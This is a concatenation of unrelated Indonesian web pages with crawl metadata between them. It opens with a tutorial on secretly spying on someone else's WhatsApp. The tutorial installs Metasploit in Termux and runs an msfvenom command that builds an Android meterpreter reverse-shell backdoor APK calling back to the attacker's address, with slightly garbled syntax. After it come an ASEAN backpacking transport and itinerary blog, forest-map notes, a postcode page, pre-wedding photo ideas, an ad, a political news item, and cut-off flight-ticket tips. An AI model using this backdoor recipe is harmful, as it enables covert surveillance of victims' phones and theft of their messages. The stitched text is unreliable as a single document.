Cara Hack Atau Sadap WhatsApp Orang Lain Super Ampuh Dalam 5 Menit
Cara hack atau sadap akun Whatsapp orang lain ini bisa menjadi referensi untuk kamu yang mungkin ingin memperdalam ilmu hacking khususnya hack atau sadap akun Whatsapp. Cara hack atau sadap akun Whatsapp orang lain di bawah ini juga memiliki cara yang mudah dilakukan bahkan dilakukan oleh pemula sekalipun. Di bawah ini cara hack atau sadap akun Whatsapp orang lain dengan mudah dan juga ampuh serta bisa dilakukan di hp android.
Baca Juga : Hindari Kebiasaan yang Buat Daya Baterai Ponsel Sony Xperia Cepat Habis
Cara hack atau sadap akun Whatsapp ini juga memiliki beberapa kelebihan, seperti caranya yang sangat mudah dilakukan. Selain itu, cara hack atau sadap akun Whatsapp di bawah ini juga bisa dilakukan oleh pemula dan tidak memerlukan waktu lama untuk melakukannya, sehingga cara ini bisa dilakukan dengan cepat. Simak baik-baik cara di bawah ini untuk mengetahui cara hack atau sadap akun Whatsapp dengan mudah dan juga ampuh.
1. Pertama-tama, kamu harus download dahulu aplikasi Termux di hp android kamu melalui link yang tersedia secara gratis pastinya. Jika sudah kamu download aplikasi Termux-nya, maka selanjutnya kamu bisa langsung saja install aplikasi Termux yang sudah kamu download tadi di hp android kamu. Jika sudah, maka kamu bisa langsung buka saja aplikasi Termux di hp android kamu dan ikuti langkah yang kedua.
Download Termux
2. Kedua, kamu bisa install terlebih dahulu metasploit framework di aplikasi Termux kamu. Untuk menginstall metasploit ini kamu perlu menyiapkan kuota internet sekitar 600mb untuk download dan install metasploit tersebut di aplikasi Termux kamu. Untuk menginstall metasplout framework, maka kami bisa masukan kode perintah di bawah ini.
apt update && apt upgrade
pkg install unstable-repo
pkg install metasploit
Kamu salin kode perintah tersebut dan tempelkan pada aplikasi Termux kamu hingga proses install selesai. Jika proses install selesai, maka kamu bisa langsung ke step yang ketiga.
3. Step yang ketiga untuk hack atau sadap akun Whatsapp adalah dengan membyat aplikasi sadap atau backdoor. Untuk membuat backdoor atau aplikasi sadap, maka kamu bisa gunakan perintah di bawah ini.
Msfconsole
Tunggu hingga tampilannya berubah dan masukan kode perintah di bawah ini.
Msfvenom –p android/meterpreter/reverse tcp LHOST=192.168.1.101 LPORT=8080 –o/sdcard/tracker.apk
Untuk LHOST dan IP kamu bisa menyesuaikan.
Baca Juga : Cara Cerdas Menghemat Baterai Ponsel Sony Xperia Tanpa Aplikasi
Nah, itu dia cara hack atau sadap akuun Whatsapp dengan mudah dan juga ampuh yang bisa kamu jadikan pembelajaran saja dan sebaiknya cara di atas jangan digunakan untuk hal negative yang bisa merugikan orang lain atau pihak lain. Terima kasih

warc-identified-content-language: ind,eng

warc-type: conversion

content-type: text/plain

label: id

annotation: short_sentences header footer

label: en


content:
Postingan ini adalah lanjutan dari part sebelumnya yaitu (Baca : 19 Days Overland ASEAN : Itinerary). Secara spesifik aku akan membahas tentang transportasi yang aku gunakan selama berpindah dari satu kota ke kota lain baik itu dalam lingkup 1 negara maupun antar negara di 5 negara ASEAN. Ada berbagai pilihan moda transportasi yang biasa digunakan oleh para traveller mulai dari bus, kereta, van, atau pesawat. Tapi sepertinya opsi terakhir bukan merupakan pilihan transportai yang tepat bagi budget seorang gembel backpacker mengingat harganya yang berbeda jauh dengan bus atau kereta api.
Perlu diperhatikan oleh para traveller, setelah aku coba rekap seluruh pengeluaran aku selama 19 hari di 5 negara tujuan, pos transportasi menyumbang sekitar 45% dari porsi keseluruhan budget aku. Mengapa bisa sebanyak itu? Hal tersebut bisa terjadi karena aku berpindah selama 7 kali yang menjangkau 7 kota di 5 negara. Selain itu, aku juga memasukkan harga tiket pesawat pulang pergi dari Jakarta - Singapura dan Ho Chi Minh - Jakarta. To be honest, harga tiket Ho Chi Minh - Jakarta sangat menguras kantongku karena aku pesannya juga dadakan hahaha.
Causeway Link Singapore - Malaysia
Untuk transportasi, lebih enak beli on the spot atau online? Hmm pertanyaan yang bagus. Awalnya, aku juga bingung bagaimana membeli tiket bus/kereta di negara tujuan. Tapi setelah riset sana sini, aku lebih nyaman dengan membeli tiket bus secara online. Tapi, ketika berpindah dari Bangkok-Siem Reap aku juga membeli tiket secara langsung kok di Terminal Mo Chit. Sebenarnya, ada plus minus sih antara online booking dan beli tiket langsung di agent. Kelebihannya beli tiket secara online adalah keamanan dari calo dan nggak perlu khawatir kehabisan tiket di jam yang diinginkan karena kita bisa melihat terlebih dahulu jadwal keberangkatan bus dan langsung membelinya. Sedangkan kalau beli tiket on the spot, kelebihannya kita bisa lebih fleksibel dalam menentukan waktu kapan kita berpindah dari satu kota ke kota lain. Tapi kita juga harus pertimbangkan resiko kehabisan tiket pada jam favorit para penumpang ya.
>>TIPS<<
Jangan membeli tiket bus/kereta secara gelondongan ketika posisi kita masih berada di Indonesia. Mungkin hal itu bisa dibilang praktis karena kita sudah langsung bayar tiketnya di Indonesia dan tahu kapan kita harus pindah. Tapi, keadaan di lapangan siapa yang tahu sih? Contohnya kalau misal kita merencanakan stay di Bangkok 3 hari, tapi ternyata kita masih pengen extend 2 hari lah, nah kita masih punya keleluasaan untuk berada di sana tanpa khawatir tiket bus yang dibeli hangus.
Bus Antar Negara Thailand-Cambodia
TRANSPORTASI ANTAR NEGARA
Secara detail, aku buatkan rincian transportasi antar kota antar negara yang aku gunakan selama 19 hari
NO.
TUJUAN
ETD
ETA
HARGA
NAMA
COMPANY
BOOKING
1.
Jakarta - Singapura
06.00 PM
09.00 PM
Rp 250.000
Air Asia
Online
2.
Singapura – Johor
09.00 AM
11.30 AM
3,5 SGD
Causeway Link
OTS
3.
Johor – Malaka
01.00 PM
04.30 PM
21 MYR
Mayang Sari
OTS
4.
Malaka – Kuala Lumpur
08.00 PM
10.00 PM
11 MYR
Delima
OTS
5.
Kuala Lumpur – Penang
00.00 AM
05.30 AM
32 MYR
Billion Star
Online
6.
Penang – Hat Yai
08.30 AM
12.30 PM
38 MYR
Billion Star
Online
7.
Hat Yai – Bangkok
18.00 PM
09.00 AM
832 Baht
Siam Tour
Online
8.
Bangkok – Siem Reap
08.30 AM
05.00 PM
750 Baht
Transport Co.
OTS
9.
Siem Reap – Phnom Penh
11.30 PM
05.30 AM
9 USD
Sorya
Transport
Online
10.
Phnom Penh – Saigon
08.00 AM
03.00 PM
11 USD
Sapaco
Online
11.
Saigon - Jakarta
06.00 PM
09.00 AM
Rp 1.270.000
Lion Group
Online
Rekap pengeluaran transportasi dalam rupiah adalah sebagai berikut
NO.
PENGELUARAN
DALAM RUPIAH
1.
Rp 1.520.000
Rp 1.520.000
2.
3,5 SGD
Rp 50.000
3.
102 MYR
Rp 350.000
4.
1632 Baht
Rp 747.250
5.
20 USD
Rp 283.000
TOTAL
Rp 2.950.000
Terminal Bersepadu Selatan, Malaysia
Itu kurang lebih pengeluaran untuk transportasi antar negara yang aku gunakan selama 19 hari. Jadi emang untuk hijrah dari 1 kota ke kota lain aku lebih memilih untuk menggunakan bus. Selain harganya cocok di kantong, aku rasa juga bus memiliki banyak pilihan company dan waktu keberangkatan sehingga kita memiliki keleluasaan dalam memilih waktu berangkat. Bus antar negara juga nyaman kok ditambah juga apabila kita menggunakan sleeper bus, kita bisa menghemat biaya penginapan karena perjalanan dilakukan di malam hari.
TRANSPORTASI DALAM KOTA
Singapore Bus
Nah, untuk transportasi dalam kota sebenarnya kita tidak perlu khawatir terutama di beberapa kota seperti Singapura, Kuala Lumpur, dan Bangkok karena di sana transportasi sudah terintegrasi antara LRT, MRT, dan Bus. Transportasi umum yang tersedia juga sudah menjangkau hampir di seluruh sudut kota bahkan juga bisa menjangkau 1 negara seperti di Singapura. Enak kan? :D Berikut review transportasi umum dalam kota di beberapa negara.
1. SINGAPURA : Kalau kalian berada di negara ini, udah nggak usah bingung deh kalo mau berpindah. MRT dan Bus sudah tersedia di setiap sudut kota. Tapi saat di Singapura, aku lebih banyak berjalan kaki karena mempertimbangkan setiap tempat yang kita tuju tidak berjauhan lokasinya. Saat aku di Singapura, aku menggunakan Kartu Jenius yang aku bawa dari Indonesia. Kartu ini bisa fleksibel kok untuk tap di MRT dan Bus. Praktis kan?
2. MALAYSIA : Aku singgah di 3 kota Malaysia yaitu Malacca, Kuala Lumpur, dan Penang. Saat di Malacca, ada bus kota yang bisa digunakan oleh para wisatawan dan tarifnya pun murah cuma 2 RM saja. Tapi, bus tersebut tergolong jarang sehingga jika kita terlewat 1 jadwal bus, maka kita harus menunggu cukup lama. Nah, beda lagi kalo di Kuala Lumpur. Di kota tersebut fasilitas transportasinya kurang lebih hampir sama dengan Singapura, transportasi antar moda terintegrasi dengan rapi dan dibanderol dengan tarif yang cukup murah. Kalo di Penang, aku sewa sepeda melalui aplikasi Link Bike untuk mengitari setiap sudut kota di Penang.
3. THAILAND : Saat di Thailand, aku hanya singgah di Bangkok. Sekilas tentang transportasi di Bangkok, pilihannya lebih beragam daripada di 2 negara sebelumnya. Transportasi favoritku adalah kapal yang menyusuri sungai di tengah kota Bangkok. Pertimbangannya adalah faktor macet yang parah di Bangkok sehingga apabila kita memilih bus, kita akan terjebak kemacetan. Apa bedanya dengan Jakarta? hehehe
Bangkok Boat Transportation
4. CAMBODIA : Di Siem Reap atau Phnom Penh, aku rasa kita tidak punya pilihan lain selain Tuk Tuk. Kalo mau naik tuktuk, traveller harus berani nawar karena kadang si driver kelewatan mematok tarif yang terlalu tinggi. Tapi, satu hal unik yang aku baru tahu di Cambodia, mereka juga memiliki aplikasi Grab atau Passapp kok. Nah di 2 aplikasi tersebut kalo kita di Indonesia memesan Grabbike, kalo disana ada Grab Tuk Tuk :D Tarifnya juga lebih murah dengan aplikasi tersebut sehingga kita tidak perlu menawar lagi dengan si driver.
5. VIET NAM : Nah, saat sampai di Ho Chi Minh City, hostku lebih menyarankan untuk menggunakan transportasi bus dalam kota. Ada banyak jalur bus yang melayani rute di beberapa district di Saigon. Aku terbantu menggunakan aplikasi Google Maps karena saat kita ingin berpindah dari 1 tempat ke tempat lainnya, kita tinggal ketik alamat yang kita tuju lalu akan muncul jalur bus yang melayani rute yang mau kita tuju. Tarifnya murah meriah euy, sekali jalan maksimal 6000 VND atau sekitar Rp 3500.
Viet Nam Local Bus
Pengeluaran transportasi dalam kota
NO.
NEGARA
MODA TRANSPORTASI
HARGA
DALAM
RUPIAH
1.
Singapura
MRT dan BUS
Rp 111.000
Rp 111.000
2.
Malaysia
MRT
15,3 MYR
Rp 52.450
Grab
4 MYR
Rp 13.720
Sepeda
50 MYR
Rp 174.000
3.
Thailand
Grab
85 THB
Rp 39.355
Bus
8 THB
Rp 3.704
BTS
364 THB
Rp 168.532
Boat
31 THB
Rp 14.353
4.
Cambodia
Grab / Passapp Tuktuk
7 USD
Rp 99.841
5.
Vietnam
Go-Viet / Grab
85.000 VND
Rp 52.214
Kapal
15.000 VND
Rp 9.214
Bus
42.000 VND
Rp 25.800
TOTAL
Rp 764.183
Nah, kurang lebih itulah penjabaran yang bisa aku berikan tentang moda transportasi yang aku gunakan selama 19 hari berkelana di 5 negara Asia Tenggara. TIPS : Kita menggunakan style backpacker jadi pergunakanlah kaki kita secara maksimal untuk berjalan kaki. Selain menghemat pengeluaran, kita juga bisa melihat kegiatan masyarakat lokal yang kita temui saat berjalan kaki, maka dengan begitu kita tidak hanya berambisi mengejar tempat wisata, tapi juga menambah wawasan tentang bagaimana orang lokal menjalani kehidupan sehari-harinya. Kalaupun mau menggunakan kendaraan bermotor, pilihlah moda transportasi yang sering digunakan oleh orang lokal seperti bus. Pengalaman dapet, kantong pun juga tetap sehat :D
Rangkaian cerita dan detail biaya perjalananku selanjutnya ada di
19 Days Overland ASEAN - Itinerary
19 Days Overland ASEAN - Accomodation
19 Days Overland ASEAN - Food
Continue Reading
Share |
19 Days Overland ASEAN : Itinerary
Asia August 31, 2019
Entah hal apa yang membuatku kesambet dan memikirkan untuk merencanakan perjalanan Overland ASEAN. Tapi, saat itu aku memang sedang merenung tentang hal apa yang akan aku lakukan untuk mengisi waktu libur semester kuliah selama kurang lebih 2 bulan dan tiba-tiba muncullah ide untuk melakukan perjalanan panjang keliling beberapa negara di Asia Tenggara. Lalu, timbul pertanyaan di benakku, berapa lama waktu yang dibutuhkan dan berapa biaya yang harus kita keluarkan sih untuk keliling Asia Tenggara?
2 bulan sebelum keberangkatan atau tepatnya bulan Juni, aku mulai aktif memantau beberapa website dan aplikasi maskapai yang memang terkenal memberikan promo penerbangan murah untuk para traveler, sebut saja Air Asia dan JetStar. Sembari hunting ticket murah, aku juga melakukan aktivitas blog-walking, membuka satu blog ke blog lainnya dari para traveler yang sudah pernah melakukan perjalanan serupa untuk sekadar mengintip pengalaman mereka selama keliling Asia Tenggara.
Aku merencanakan semuanya sendiri, tak banyak publikasi, dan tak berencana untuk mengajak teman dari Indonesia karena memang lingkup pertemananku yang sepertinya sulit untuk menemukan teman yang mau diajak susah backpackeran seperti aku hahaha. Aku sudah memantapkan diri untuk hal ini dan mulai sedikit demi sedikit membuat itinerary kecil tentang pilihan negara, jumlah hari, tempat wisata, transportasi, dan penginapan selama aku berjalan nantinya.
NEGARA TUJUAN
Setelah browsing kesana kemari, pilihanku akhirnya mengerucut pada 5 negara di ASEAN yaitu Singapura-Malaysia-Thailand-Cambodia-Vietnam. Aku memilih 5 negara tersebut sebagai destinasi tujuanku karena letak geografisnya yang berada dalam 1 daratan sehingga memungkinkan untuk melakukan perjalanan lintas perbatasan via darat antar negara. Selain itu, banyak traveler dari dalam negeri maupun luar negeri yang telah membagikan pengalamannya keliling Asia Tenggara melalui platform blog atau melalui video di channel youtube sehingga kedua hal tersebut semakin memantapkan hatiku untuk pergi ke 5 negara yang telah aku sebutkan tadi.
Setelah penentuan rute tersebut, aku mulai menyalakan push notifications di handphoneku agar aku bisa terinfo jika ada surat elektronik dari Air Asia dan JetStar yang memberitahukan adanya tiket promo menuju ke Singapura. Bak gayung bersambut, tanggal 20 Juni 2019 aku mendapatkan email dari Air Asia kalau mereka mengadakan promo di berbagai rute pilihan termasuk Singapura. Aku mengecek langsung ke aplikasi Air Asia dan akhirnya mendapatkan tiket penerbangan murah dari Jakarta-Singapura yang akan berangkat pada tanggal 10 Agustus 2019 dengan harga Rp 250.000. Cukup murah bukan? Hehehe.
Tiket pesawat yang aku beli hanya untuk keberangkatan saja menuju Singapura, sedangkan untuk tiket pulangnya, aku belum menentukan dari kota mana. Meskipun aku merencanakan untuk mengakhiri perjalananku di Viet Nam, tapi aku tak menutup kemungkinan kalau nantinya aku bisa mengakhiri perjalanan lebih cepat karena perjalanan ini adalah pengalaman pertamaku ke luar negeri sehingga aku berpikiran mungkin nantinya aku akan kecapekan sehingga tidak bisa sampai Viet Nam. Saat itu, semuanya serba abu-abu, tidak ada kejelasan dimana aku akan menghentikan langkahku.
WAKTU
Berbicara soal waktu yang pas untuk travelling ke negara ASEAN, sepertinya tidak masalah kalian mau pergi kapanpun karena pada dasarnya kondisi iklim di negara-negara Asia Tenggara kurang lebih sama dengan Indonesia yaitu terdiri dari 2 musim, musim penghujan dan musim kemarau.
Mengenai durasi perjalanan, sebenarnya tidak ada patokan yang baku tentang berapa lama kamu harus pergi agar bisa mengunjungi kelima negara tersebut. Tapi, menurut pengalaman dari para traveler, waktu 2 minggu atau lebih sangat disarankan agar kita bisa lebih leluasa menikmati liburan di suatu kota dan tidak tergesa-gesa berpindah dari satu kota ke kota lainnya. Aku sendiri merencanakan untuk mengelilingi kelima negara tersebut antara 3-4 minggu mempertimbangkan budget dan pengalaman traveling ke luar negeri yang masih sangat minim.
Beginilah itinerary umum yang aku rancang
NO.
DATE
COUNTRY
CITY
1.
10-11 August 2019
Singapore
Singapore
2.
12 August 2019
Malaysia
Singapore-Malacca
3.
13 August 2019
Malacca
4.
14-15 August 2019
Kuala Lumpur
5.
16-18 August 2019
Penang
6.
19-22 August 2019
Thailand
Bangkok
7.
23-24 August 2019
Cambodia
Siem Reap
8.
25 August 2019
Phnom Penh
9.
26-28 August 2019
Viet Nam
Ho Chi Minh City
>>TIPS<<
Dalam menyusun itinerary, kalian harus pertimbangkan juga moda transportasi yang digunakan untuk berpindah dari satu negara ke negara lain dan mengeceknya langsung di situs online booking. Sebagai contoh, aku lebih memilih moda transportasi bus dengan pertimbangan biaya yang murah. Namun harus diperhatikan berapa lama waktu perjalanan yang kita tempuh tersebut menggunakan bus, sehingga nantinya kita bisa mengira-ngira kegiatan apa yang akan kita lakukan ketika sudah sampai di negara tujuan.
Selain itu, sediakan waktu di sela-sela perjalanan kamu untuk sekedar beristirahat di hostel atau nongkrong di café saja karena tidak dapat dipungkiri bahwa perjalanan ribuan kilometer via darat dengan bus/kereta api bakal menjadi perjalanan yang sangat melelahkan bagi ketahanan fisik kalian.
Itinerary yang aku buat hanya aku jadikan pegangan saja agar aku bisa tahu setidaknya pada tanggal ini, aku harus sudah berada di tempat ini. Itinerary juga membantu kita untuk menentukan budget yang akan dikeluarkan di 1 negara tujuan. Tapi, itinerary jangan dijadikan patokan baku ya. Sebagai contoh di 2 negara terakhir di Kamboja dan Viet Nam, aku lebih banyak menghabiskan waktu untuk sekedar bercakap dengan traveler lain atau host yang menampungku. Kalau travelling cuma buat ambisius mengejar tempat wisata saja, capek gaes hehehe. Dan menurutku juga, bercakap-cakap dengan mereka, setidaknya kita bisa bertukar cerita entah itu pengalaman travelling atau budaya yang berbeda antara negara satu dengan negara lainnya.
Nah kurang lebih itu ya yang bisa aku bagikan untuk saat ini. Eiittss, ini baru Part 1, masih ada part selanjutnya yang akan membahas lebih detail tentang jejak perjalananku di Asia Tenggara. Buat kalian yang ingin tahu itinerary secara detail dan komprehensif boleh drop email di kolom komentar atau langsung DM di Instagram ya :D
Rangkaian cerita dan detail biaya perjalananku selanjutnya ada di
19 Days Overland ASEAN - Transportation
19 Days Overland ASEAN - Accomodation
19 Days Overland ASEAN - Food
Continue Reading
Share |
Newer
Stories
Older
Stories
Follow by Email
Follow Me
Facebook
Twitter
Instagram
Google Plus
Blog Archive
► 2020 (2)
► March (2)
▼ 2019 (28)
► October (2)
► September (11)
▼ August (2)
19 Days Overland ASEAN : Transportation
19 Days Overland ASEAN : Itinerary
► June (1)
► March (2)
► February (8)
► January (2)
► 2018 (22)
► November (3)
► October (1)
► September (5)
► August (2)
► July (2)
► June (5)
► May (2)
► January (2)
► 2017 (6)
► November (1)
► August (1)
► July (2)
► April (1)
► February (1)
► 2016 (4)
► December (1)
► September (1)
► August (1)
► May (1)
► 2015 (2)
► July (2)
Labels
Aceh Asia Bali dan Nusa Tenggara Bengkulu Indonesia Jawa Jawa Barat Jawa Tengah Jawa Timur Kalimantan Kalimantan Barat Kepulauan Riau Maluku dan Papua Mountain Opinion Others Overseas Review Sulawesi Sulawesi Selatan Sulawesi Utara Sumatera Sumatera Barat Sumatera Utara

label: cs

label: de


content: Saat ini, game ini diblokir karena adanya peraturan tentang privasi yang baru dan www.games.co.id saat ini tidak mengontrolnya. Jika Anda ingin terus memainkan game ini, Anda harus mengklik "terima" di banner di bawah.


content:
Pemerintah melalui Kementrian Kehutanan telah mengeluarkan peta indikatif penundaan izin baru (peta moratorium hutan) dari Inpres 10/2011 tentang penundaan izin baru dan penyempurnaan tata kelola hutan alam primer dan lahan gambut. Anda bisa download peta moratorium hutan tersebut dengan format jpg resolusi tinggi dengan skala 1:250.000 melalui situs WEBGIS Kehutanan.
Anda juga bisa download peta moratorium hutan format shapefile (shp) di situs Unit Kerja Presiden Bidang Pengawasan dan Pengendalian Pembangunan (UKP4) di link ini. Peta moratorium tersebut dikompress dengan format ZIP dan di pecah menjadi 5 file. File utama sebesar 60 MB, 4 file lainnya sebesar 15 MB.
Menurut anggota milis RSGISForum, peta moratorium hutan format shp adalah peta indikatif versi II, tapi saya meragukannya setelah membandingkannya dengan peta format JPG dari situs WebGIS Kehutanan. Keraguan saya juga bisa dilihat dari tanggal upload data yang terdapat di situs UKP4 masih bertahun 2011.
Peta moratorium hutan format shp dari situs UKP-BP3 tersebut juga tidak menyediakan legenda atau membedakan nilai atribut-nya, mana polygon hutan primer yang termasuk dengan hutan konservasi dan hutan lindung serta mana polygon lahan gambut. Semua polygon memiliki ID yang sama.


content:
Daftar kode pos untuk setiap kelurahan yang berada di seluruh wilayah Kabupaten Administrasi Kepulauan Seribu.
Search for:
Categories
Categories Select Category Data Kabupaten/Kota Data Provinsi Hari Libur Nasional dan Cuti Bersama Jadwal Shalat dan Imsakiyah Ramadan Kalender Hijriah untuk Tahun 2020 Masehi Kalender Jawa untuk Tahun 2016 Masehi Kalender Jawa untuk Tahun 2017 Masehi Kalender Jawa untuk Tahun 2018 Masehi Kalender Jawa untuk Tahun 2019 Masehi Kalender Jawa untuk Tahun 2020 Masehi Ketenagakerjaan Kode Pos di Kabupaten Kepulauan Seribu Kode Pos di Kota Jakarta Barat Kode Pos di Kota Jakarta Pusat Kode Pos di Kota Jakarta Selatan Kode Pos di Kota Jakarta Timur Kode Pos di Kota Jakarta Utara Organisasi Internasional Saham Wilayah Administrasi


content:
Model-muslim.com – Contoh Gaya Foto Pre Wedding Outdoor – Pernikahan merupakan pernikahan yang dipersiapkan jauh-jauh hari, termasuk foto pre wedding yang banyak dilaksanakan sebelumnya. Foto pre wedding merupakan pengalaman bersama kekasih untuk kemudian mengakhiri masa lajang bersama. Foto pre wedding juga dibuat seindah mungkin untuk kenangan yang dapat dilihat oleh anak-cucu kelak.
Berbagai Contoh Gaya Foto Pre Wedding
1. Foto Gaun dan Kemeja di Hutan
Hutan menjadi salah satu obyek yang paling dicari untuk foto pre wedding out door. Alasannya sederhana, karena foto pre wedding memang menonjolkan sisi keindahan. Sedangkan latar pohon menjadi salah satu saksi keindahan. Di hutan Anda bisa menemukan berbagai macam latar baik itu akar pohon, dedaunan, dan tempat yang begitu asri.
2. Gaun Pesta dan Setelan di Kebun Ilalang
Gaun pesta menjadi andalan calon mempelai wanita, dan setelan menjadi pakaian andalan calon mempelai pria. Anda bisa memilihnya di kebun ilalang sebagai referensi tempat foto. Alasannya karena kebun ilalang merupakan tempat yang romantis untuk acara pemotretan sepasang kekasih.
3. Foto Pre Wedding di Tengah Sawah
Foto pre wedding memang biasanya mencari obyek di pedesaan. Alasannnya foto pre wedding out door sudah jenuh jika dilakukan di perkotaan karena begitu panas dengan hiruk-pikuknya. Foto di tengah sawah menjadi salah satu andalan foto pre wedding yang cantik dan menawan. Menonjolkan sisi keindahan alam di sawah memang banyak difavoritkan oleh banyak pasangan.
4. Tema Berkebun dalam Foto Pre Wedding
Tema berkebun menjadi tema yang begitu indah jika dipilih untuk foto pre wedding. Dengan segala ornamennya, misalnya karpet, gitar, dan berbagai peralatan makan yang akan dipakai. Tema ini terkesan santai, kasual, tapi romantis.
5. Foto Pre Wedding Tema Angkatan
Foto pre wedding tema angkatan banyak dipakai oleh para anggota TNI/POLRI. Calon mempelai pria berfoto pre wedding out door dengan seragam sedangkan calon mempelai wanita menggunakan gaun.
6. Foto dengan Gaun Bridal dan Setelan Jas
Kalian bisa menggunakan baju gaun bridal dan setelan jas yang akan dipakai untuk pernikahan, tapi bedanya tempat pemotretannya dipakai di tempat out door. Latar dedaunan dan warna hijau tumbuh-tumbuhan banyak menjadi favorit.
7. Foto dengan Latar Sunset di Kala Senja
Sunset memang menjadi salah satu fenomena alam yang banyak dicintai oleh banyak orang. Langit senja yang syahdu seringkali dipilih untuk foto pre wedding bersama calon pasangan hidup. Matahari terbenam pun banyak menjadi spot fotografer. Pernikahan memang melambangkan keindahan sehingga sudah layak jika memilih pre wedding out door saat fenomena sunset di sore hari.
Demikian berbagai contoh foto pre wedding yang dapat Anda jadikan referensi. Baca juga untuk artikel lain seperti Tutorial Hijab untuk Travelling apabila anda ingin bepergian atau ingin berwisata dan ada pula Tips Tutorial Hijab Pesta Simpel untuk anda apabila ingin pergi ke pesta, terlebih sama si doi pasti harus prefect dong ya ^^


content: Hasilkan uang tambahan sekarang dengan menjual barang-barang di komunitas Anda. Ayo mulai berjualan di OLX, semua jadi cepat dan mudah.

warc-identified-content-language: ind


content:
Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (MenPAN-RB) Tjahjo Kumolo mengaku secara blak-blakan terdapat menteri yang berjalan sendiri di luar visi misi Presiden Jokowi.
Bahkan, menurutnya terdapat juga pejabat eselon 1 dan 2 yang memiliki pandangan bersebrangan dengan Presiden Jokowi Karena memaknai visi dan misi presiden dengan sudut pandangnya sendiri.
“Berkali-kali diingatkan, tidak ada visi misi menteri. Yang ada itu visi misi presiden. Menteri wajib melaksanakan visi misi presiden. Bukan visi misinya dia,” kata Menteri Tjahjo, sebagaimana dikutip dari Pojoksatu.id (30/8).
Lebih lanjut, Tjahyo Kumolo menegaskan bahwa semua pejabat eselon 1 dan 2 tidak boleh memperlambat capaian visi misi presiden dengan penafsiran sendiri dan wajib mengikuti kebijakan yang telah dicanangkan oleh Presiden Joko Widodo.
Terkait hal tersebut, dia menegaskan Presiden Jokowi menginginkan birokrasi disederhanakan dengan memangkas eselon III, IV, V dan pengalihan 1,6 juta PNS dari jabatan administrasi ke fungsional.
Kemudian untuk sektor kelembagaan, Jokowi yang menginginkan beberapa lembaga yang tidak relevan lagi untuk dibubarkan.
“Kalau ada menteri dan pejabat eselon 1 dan 2 yang tidak setuju dengan itu, ya lebih baik berada di luar. Tunggu saja sampai 2024 sampai pemerintahan Presiden Jokowi dan Wapres Ma’ruf Amin selesai,” pungkasnya.[pojoksatu/brz/nu]


content:
Siapa sih, yang tidak suka dengan tiket pesawat murah? Dengan biaya akomodasi murah, kamu bisa menghemat budget saat akan bepergian untuk keperluan lain. Cara mendapatkan tiket pesawat murah juga ada banyak lho. Nggak harus menunggu hingga travel fair diadakan. Mau tahu? Yuk, simak 6 tips cara dan strategi mencari tiket pesawat murah promo dari Wisatalah berikut ini.
Cara dan Strategi Mencari Tiket Pesawat Murah Promo
1. Waktu Terbaik Membeli Tiket Pesawat
Daftar strategi mencari tiket pesawat murah promo yang pertama dikutip dari ChearpAir.com. Waktu terbaik untuk membeli tiket pesawat adalah 54 hari atau kurang lebih 2 bulan sebelum keberangkatan. Penelitian asal Amerika ini telah menghimpun data selama tahun 2015 dari tiga juta penerbangan domestik maupun luar negeri. Dengan kurun waktu tersebut, kamu bisa menghemat pengeluaran tiket pesawat hingga 29% dari biaya yang harus dikeluarkan pada umumnya, lho. Hal ini juga bisa membantu kamu untuk menyusun itinerary dari jauh-jauh hari supaya waktu liburanmu lebih maksimal.
2. Tanggal dan Bulan Terbaik Untuk Bepergian Dalam Negeri
Menurut riset SkyScanner.com, ada beberapa tanggal yang cocok untuk beli tiket pesawat sesuai tujuannya. Penelitian ini menyebutkan bahwa bulan Februari adalah waktu termurah untuk liburan. Sementara minggu termurah jatuh pada akhir Januari. Sedangkan bulan Juli dan Desember adalah bulan untuk liburan paling mahal dikarenakan musim liburan. Tapi, SkyScanner menambahkan cara mendapatkan tiket pesawat murah dilakukan dengan membeli tiket minimal 14 minggu sebelum keberangkatan. Untuk lokasi wisata, ada bulan-bulan tertentu untuk mendapatkan tiket pesawat murah. SkyScanner menemukan bulan Mei sebagai waktu yang murah untuk liburan ke Australia dan Jepang di bulan Juni. Sementara tiket murah menuju Malaysia dan Belanda jatuh pada Oktober. Bagi sobat yang ingin jalan-jalan ke Singapura, Thailand, atau Hong Kong, strategi mencari tiket pesawat murah promo adalah dengan beli tiket pesawat untuk bulan Januari hingga Maret, ya.
3. Kombinasikan Penerbangan Dengan Maskapai Berbeda
Pakai dua maskapai berbeda untuk tiket pulang-pergi? Tak ada salahnya, kok. Persaingan harga antar maskapai membuat mereka berusaha untuk menawarkan harga murah. Kamu bisa memanfaatkan hal ini dengan membandingkan harga tiket pesawat di sejumlah maskapai Indonesia, lalu tinggal pilih yang termurah sesuai waktu liburanmu. Untuk penerbangan yang membutuhkan transit juga tak harus menggunakan maskapai yang sama, lho.
Sumber: moneysavingexpert.com
4. Pemilihan Jam Keberangkatan
Jam keberangkatan juga berpengaruh dalam strategi mencari tiket pesawat murah promo. Biasanya, penerbangan pada tengah malam dan waktu subuh menawarkan tiket murah. Walau harus menahan kantuk karena harus berangkat lebih awal, penerbangan subuh membawa manfaat tersendiri, lho. Salah satunya kamu bisa sampai di tujuan lebih awal dan punya lebih banyak waktu untuk jalan-jalan. Selain itu, penerbangan di hari kerja alias weekdays umumnya juga menawarkan tiket pesawat dengan harga lebih murah. Apalagi untuk kamu yang tidak terlalu menyukai keramaian, pilihlah jam keberangkatan di luar akhir pekan. Dengan berlibur di hari kerja, objek wisata relatif sepi pengunjung sehingga kamu bisa lebih leluasa menikmati liburan.
5. Beli Tiket Pesawat di Online Travel Agent
Cara mendapatkan tiket pesawat murah yang kelima adalah dengan beli tiket di OTA.Membeli tiket lewat online travel agent umumnya menyediakan berbagai penawaran yang menarik tiap harinya. Mulai dari promo, potongan harga, dan masih banyak lagi dibandingkan situs maskapai resmi. Bagi travel agent yang memiliki aplikasi di smartphone, biasanya mereka menawarkan harga lebih murah dengan memesan via mobile app. Dengan menjadi member dari sejumlah online travel agent, kamu bisa subscribe untuk mendapatkan newsletter yang berisi berbagai penawaran terbaru. Tak hanya strategi mencari tiket pesawat murah promo, tapi juga informasi seputar hotel murah hingga promo dengan melakukan transaksi via bank tertentu. Traveloka, PegiPegi, Tiket.com, dan masih banyak travel agent lainnya yang bisa kamu ikuti untuk mendapatkan tiket pesawat murah. Disarankan juga untuk follow akun sosial media mereka supaya tidak ketinggalan update, ya. Wisatalah juga pernah mengulas cara pesan tiket di Traveloka lho.
6. Memilih Bandara Sekuler
